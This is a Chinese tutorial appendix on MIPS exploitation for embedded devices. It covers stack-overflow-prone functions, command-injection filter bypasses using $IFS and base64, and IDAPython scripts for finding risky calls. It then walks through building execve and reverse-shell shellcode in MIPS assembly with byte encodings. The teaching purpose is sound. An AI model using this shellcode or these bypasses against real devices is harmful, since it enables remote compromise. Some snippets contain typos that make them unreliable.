附录3-1：指令集分析-MIPS

一、MIPS 指令集逆向技巧

在逆向分析一个 mips 指令集架构的二进制程序时，可以使用敏感函数定位的方法，快速定位敏感函数，如 system、sprintf、strcpy 等命令执行和容易发生栈溢出的函数。

1.1 常见敏感函数类别

栈溢出敏感函数

在 MIPS 指令集中，特别是智能设备，一般来说栈溢出漏洞较为常见，也是比较容易利用的一类漏洞，发生栈溢出可能的函数有 strcpy，sprintf，snprint, strchr 等。

1） strcpy 类函数如下所示，直接从 http 数据包参数中的数据内容，直接复制到栈上，没有经过任何的判断与处理，因此可以通过栈溢出越界的 buffer 覆盖当前函数的返回地址，可以进一步利用 ROP 技术来获取目标程序的 shell。

strcpy(stack, buf_from_http);

2）sprintf类，如果格式化中有“%s”格式化字符串，同时没有对输入的数据进行长度判断的话，则也有可能造成栈溢出漏洞。

sprintf(stack, "%s", buf_from_http);

snprintf类，snprintf 的返回值是输入的长度，而不是输出的长度，因此下面的代码则有可能存在漏洞，大致的利用原理因为，第一个snprinf返回值是输入的长度，一般输入的长度大于sizeof(stack)，则第二个 snprintf 的 size 则变为负数，snprintf 的大小是无符号的，因此变成了一个超大的size，导致第二个可以用来覆盖返回地址。值得注意的是，这样类型的 overflow 还可以用来bypass canary。

int left = snprintf(stack, sizeof(stack),"%s", buf_from_http1); snprintf(stack+left, sizeof(stack)-left, "%s", buf_from_http2);

4） strchr类，如下所示，乍一看好像使用了strncpy规定了复制的长度，但仔细看就会发现，复制的长度也是由输入的字符串来决定的，因此直接在？前面输入超长的字符即可实现overflow

char *query = strchr(url, '?'); strncpy(stack, url, quey - url -1);

如：index.phpaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?a=1。只要 QURTY_STRING 够长就可以导致栈溢出。

注入类型的敏感函数（逻辑）

注入类型的漏洞相对来说就简单很多，只要看数据流的处理流程，确定输入能否控制敏感函数即可。常见的敏感函数如system、popen、exec、execve等，在注入类型漏洞中，对于过滤的关键词绕过是比较关键的，例如没有空格的时候可以使用 $IFS进行绕过。也可以通过一些编码比如xxd，base64等。

1.2 IDA 自动定位敏感函数插件

这里推荐一个比较方便定位二进制程序敏感函数的 python 插件：MipsAduit。

该工具是一个 MIPS 静态汇编审计辅助脚本，通过敏感函数回溯的方法，可以较方便的审计出 C 语言中的危险函数。

插件的安装方法

在 IDA -> file -> Script File 中加载即可，加载完成后会在控制台中输出相应的信息。

点击相应的地址就可以跳转过去，对应的位置会被高亮显示：

1.3 使用 IDAPython 自带函数来定位敏感函数

IDAPython 自带很多的 API，可以使用这这些 API 函数来辅助我们进行函数的定位。

如，定位出调用 sprintf 函数的地址列表的代码：

sprintf_list = set() 
for loc,name in Names():    
	if "sprintf" == name:        
		for addr in XrefsTo(loc): # 列出调用 sprintf 的函数地址                 
			sprintf_list.add(GetFunctionName(addr.frm))
print("\\n\\n") 
print(sprintf_list) # 打印输出

可以直接在 IDA 中，File -> Script command... 的输入框中输入这些代码，点击 run 就可以执行：

运行完成之后的结果使用 print 函数输出之后，会打印在 Output window 中：

这些输出的地址就是引用了 sprintf 方法的函数，同样双击函数名可以直接跳转到相应的地址。

读者可以在自行在 for addr in XrefsTo(loc): 语句下加入其他过滤语句，以达到更准确定制自己想要的功能。

如这里想要排除 sytem 敏感函数第一个参数为 .data 段中的字符，且不包含 %s 字符的话（说明格式化参数不可控），如我们需要排除这种情况：

system("rm -f /tmp/auth_engineer");

条件可以写成这样：

system_list = set() 
for loc,name in Names():    
	if "system" == name:        
		for addr in XrefsTo(loc): # 列出调用 system 的函数地址                 
			system_list.add(addr.frm) print("\\n\\n")

system_args_list = set() 
for addr in system_list:    
	arg2_addr = 0    
	arg2_addr = RfirstB(addr) # 获取对 a0 语句赋值的语句     
	arg2_str = GetString(Dword(GetOperandValue(arg2_addr,1))) # 获取 a0 参数的值的字符串
try:
	if "%s" not in arg2_str:
	  system_args_list.add(addr)  # 排除这种情况
	else:
	  pass
except:
	pass

result_list = system_list-system_args_list  # 取差集，得到最终结果

for addr in result_list:    
	print(hex(addr))

二、MIPS shellcode 编写

Shellcode 是一段可以执行特定功能的特殊汇编代码，在设备漏洞利用过程中，尤其是栈溢出漏洞，我们一般都会使用调用 shellcode 的方法来进行攻击（ret2shellcode）。

MIPS 架构的 shellcode 和 x86 架构下的 shellcode 也会有一些差异，同时在实际利用 MIPS 的 shellcode 时可能会有坏字符的问题，因此还是需要掌握一些 shellcode 编写的技巧，这样在实际利用时才能比较灵活的运用。

2.1 MIPS 系统调用

在写 shellcode 过程中，都会用到系统调用。和 x86 的系统调用相似，MIPS 系统调用也会用到系统调用号。

使用系统调用的过程依旧是先赋值好参数(a0、a1、$a2)，然后使用 syscall 指令触发中断，来调用相应函数：如这里如果需要调用 exit(1) 函数，可以表示成以下的汇编代码：

li $a0,1
li $v0,4001         // sys_exit
syscall 0x40404

与 x86 指令不同的是，这里的系统调用号是存储在 v0 寄存器中。

MIPS 的系统调用号可以在 /usr/mips-linux-gnu/include/asm/unistd.h 中看到，调用号是从 4000开始：

关于 mips 交叉环境，可以直接使用下面的命令安装：

sudo apt-get install libc6-mips-cross

其他架构的环境安装方法类似。

2.2 MIPS 指令汇编/反汇编

在将我们写好的 MIPS 汇编转换成 shellcode 时，可以使用 rasm2 工具进行转换，这个工具是 radare 工具的一个专门进行汇编/反汇编的工具，关于工具的安装方法见参考链接。

例如，我们可以使用命令下面的命令对 MIPS 指令集进行汇编：

➜  ~ rasm2 -a mips -b 32 "addiu a0,zero,1" 01000424
参数说明：     
-a：     指定架构为 MIPS     
-b：     指定程序位数     
-d：     反汇编

也可以进行反汇编：

➜  ~ rasm2 -a mips -b 32 -d "01000424"
addiu a0, zero, 1 - 
可以指定 -f 参数来将文件内容中的代码语句读取并汇编：
➜  ~ cat test.asm
addiu a1,zero,2;
sw 2,-24(sp);
➜  ~ rasm2 -a mips -b 32 -f ./test.asm
02000524e8ffa2af

注意这里每一句汇编语句后面都需要加上分号。C 参数还可以生成 shellcode 格式，使用起来比较方便：

➜  ~ rasm2 -a mips -b 32 -C -f ./test.asm
"\\x02\\x00\\x05\\x24\\xe8\\xff\\xa2\\xaf"

举个例子，在 C 语言中执行 execve 函数来获取 shell 的代码如下：

int main(){  execve("/bin/sh",0,0);    return 0; }

对应的汇编代码为：

lui $t6,0x2f62 
ori t6,t6,0x696e 
sw t6,28(sp)                      // 将 "/bin" 存入 $sp+28 的栈空间
lui $t7,0x2f2f 
ori t7,t7,0x7368 
sw t7,32(sp)                      // 将 "//sh" 存入 $sp+28 的栈空间 
sw zero,36(sp)                  // 0 截段
la a0,28(sp)                      // a0 寄存器指向 "/bin//sh" 栈空间
addiu a1,zero,0 
addiu a2,zero,0 
addiu v0,zero,4011            // execve 的系统调用号为 4011
syscall 0x40404                     // 调用 execve("/bin/sh",0,0);

在第一、第二行中，lui 和 ori 指令配合使用可以赋值一个 4 字节空间，lui 指令赋值高位 2 字节，ori 指令赋值低位 2 字节。

2.3 反弹 shell 的 shellcode 汇编代码编写

在实际使用 shellcode 进行利用的过程中，一般是编写、使用能够反弹 shell 的 shellcode 来 getshell 而不使用直接执行 execve 函数的方法。针对于反弹 shell 的 shellcode 汇编代码，编写起来会更加复杂，但是系统调用的过程步骤都是不变的：

socket(2,1,0) -> dup2(s,0/1/2) -> connect(s,(sockaddr *)&addr,0x10) \\
    -> execve("/bin/sh",["/bin/sh",0],0) -> exit(0)

那么这里就对几个函数调用的步骤进行分解，依次写出系统调用的汇编代码。

socket 系统调用

这里我们使用 TCP reverse shell 的方式来反弹 shell。那么调用 socket 函数以 C 语言来表示的话如下：

socket(AF_INET,SOCK_STREAM, 0)

在 xxx 中，我们可以查到 AF_INET、SOCK_STREAM 常量对应的数值为 2 和 1。同样可以知道 socket 的系统调用号为 4183。

第一步先给三个参数（a0、a1、a2）赋值，即：

addiu  $a0, $zero, 2;
addiu  $a1, $zero, 1;
addiu  $a3, $zero, 0;
addiu  $v0, $zero, 0x1057;
syscall 0x40404;
sw $v0,10($sp);                             // 将描述符存入栈中

使用 rasm2 进行汇编转换为 shellcode：

mips cat conn 
addiu  a0, zero, 2; 
addiu  a1, zero, 1; 
addiu  a3, zero, 0; 
addiu  v0, zero, 0x1057; 
syscall 0x40404; 
sw v0,10(sp);

mips rasm2 -a mips -b 32 -C -f ./conn "\\x02\\x00\\x04\\x24\\x01\\x00\\x05\\x24\\x00\\x00\\x07\\x24\\x57\\x10\\x02\\x24\\x0c\\x00\\x00\\x00"

在将汇编代码写进文件时，因为 rasm2 无法识别 $，所以需要手动去掉 $ 符号。

2.4 dup2 系统调用

dup2 函数的作用是复制文件描述符，将 socket 描述符复制 stdin、stdout、stderr 描述符中，这里我们就能在远程与本地交互。

以 C 语言来表示的话如下：

dup2(socket_obj,0)
dup2(socket_obj,1)
dup2(socket_obj,2)

dup2 的系统调用号为 4063。

对应的汇编表示为：

lw v0,10(sp);         // sys_socket 系统调用的返回值，即 sock 对象 
addiu $a1,zero,0 
addiu $v0,zero,4063 
syscall 0x40404
lw v0,10(sp);         // sys_socket 系统调用的返回值，即 sock 对象 
addiu $a1,zero,1 
addiu $v0,zero,4063 
syscall 0x40404
lw v0,10(sp);         // sys_socket 系统调用的返回值，即 sock 对象 
addiu $a1,zero,2 
addiu $v0,zero,4063 
syscall 0x40404

shellcode 表示：

➜  mips rasm2 -a mips -b 32 -C -f ./conn
"\\x20\\x20\\x40\\x00\\x00\\x00\\x05\\x24\\xdf\\x0f\\x02\\x24\\x0c\\x00\\x00\\x00\\x20\\x20\\x40\\x00" \\
"\\x01\\x00\\x05\\x24\\xdf\\x0f\\x02\\x24\\x0c\\x00\\x00\\x00\\x20\\x20\\x40\\x00\\x02\\x00\\x05\\x24" \\
"\\xdf\\x0f\\x02\\x24\\x0c\\x00\\x00\\x00"

经常在这里，我们会加上一个循环，使得最终生成的 shellcode 会短一些，如：

lw $v0,10($sp)
addiu $a1,$zero,2
loop:
addiu $v0,$zero,4063
syscall 0x40404
addiu $t5,$zero,-1
addi $a1,$a1,-1
bne $a1,$t5,loop

2.5 connect 系统调用

connect 函数的作用是通过 socket 连接到指定的 ip 地址监听的端口。函数原型为：

int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen);

第一个参数为 socket 函数返回的 sock 对象，第二个参数为指定服务端 ip 和端口的结构体，第三个参数为结构体的大小。

示例的 C 语言源代码：

struct sockaddr_in server; 
servser.sin_family=AF_INET; 
server.sin_port=htons(6666); 
server.sin_addr.s_addr=inet_addr("127.0.0.1");
connect(sock,(struct sockaddr *)&server,sizeof(server));

这里重点是 connect 函数的第二个参数，这个参数为 sockaddr 结构体，这个结构体的原型如下：

struct sockaddr {  
        sa_family_t sin_family;     //地址族，2 个字节
        char sa_data[14];           //14字节，包含套接字中的目标地址和端口信息
};

但是一般在这里，我们会先使用 sockaddr_in 结构体，将 ip 和端口进行赋值，再将其强制类型转换为 sockaddr。因为 sockaddr 结构体的 IP 地址和端口段都包含在了 sa_data 段，不太容易直接赋值。

sockaddr 结构体的原型如下：

整个结构体大小固定为 16 字节。

根据这个结构体的格式，我们将示例代码编译成可执行程序，在 gdb 中调试到相应位置，查看相关的的内存表示。查看 sockaddr_in 结构体的内存值：

pwndbg> x/2xw 0x76fff5ca
0x76fff5ca: 0x00027a69  0x7f000001

0x0002：表示 TCP 协议族，大小为 2 字节。
0x7a69：表示端口号，大小为 2 字节。
0x7f000001：表示 IP 地址，大小为 2 字节，在这里表示的 IP 为 127.0.0.1。

相应的汇编代码如下：

lw v0,10(sp) 
move a0,v0 
addiu,a2,zero,0x10 
lui $t6,0x2                             // 协议族为 2 
ori t6,t6,0x7a69                  // 端口号为 0x7a69 
sw t6,20(sp)                       // 将 0x00027a69 存入栈中 
lui $t7,0x7f00 
ori t7,t7,0x1 
sw t7,24(sp)                    // 将 0x7f000001 存入栈中，与 0x00027a69 相邻 
la a1,20(sp)                     // 栈地址赋值给 a1 寄存器
addiu v0,zero,4170            // sys_connect syscall 0x40404

在调试中类似这种情况就是对的：

2.6 execve 系统调用

这里的 execve 的系统调用同样是执行 execve("/bin/sh",0,0); 函数，写法参考上文，不在赘述。

2.7 调试方法

在编写 shellcode 的过程中，可以对每一部分的汇编代码进行调试，调试方法如下。

将汇编语句加上 main 符号

.global main
main:        
li $a0,2        
li $a1,1       
li $a3,0        
li $v0,4183
syscall 0x40404

汇编、链接

mips-linux-gnu-as --32 socket.S -o socket.o 
mips-linux-gnu-ld -e main socket.o -o socket

qemu 调试

在一个终端执行命令：

qemu-mips-static -g 1234 -L /usr/mips-linux-gnu ./socket

另外一个终端：

gdb-multiarch ./socket

就可以在 gdb 中进行正常的调试。

将上述三段汇编语句连起来就可以得到最终的 reverse shell 的汇编语句，同样的使用 rasm2 将其汇编成 shellcode 格式即可。对于最终得到的 shellcode，我们经常会进行指令的优化，也就是将一些指令进行替换或者将 shellcode 进行编码，从而避免一些坏字符。

来源： 海特实验室

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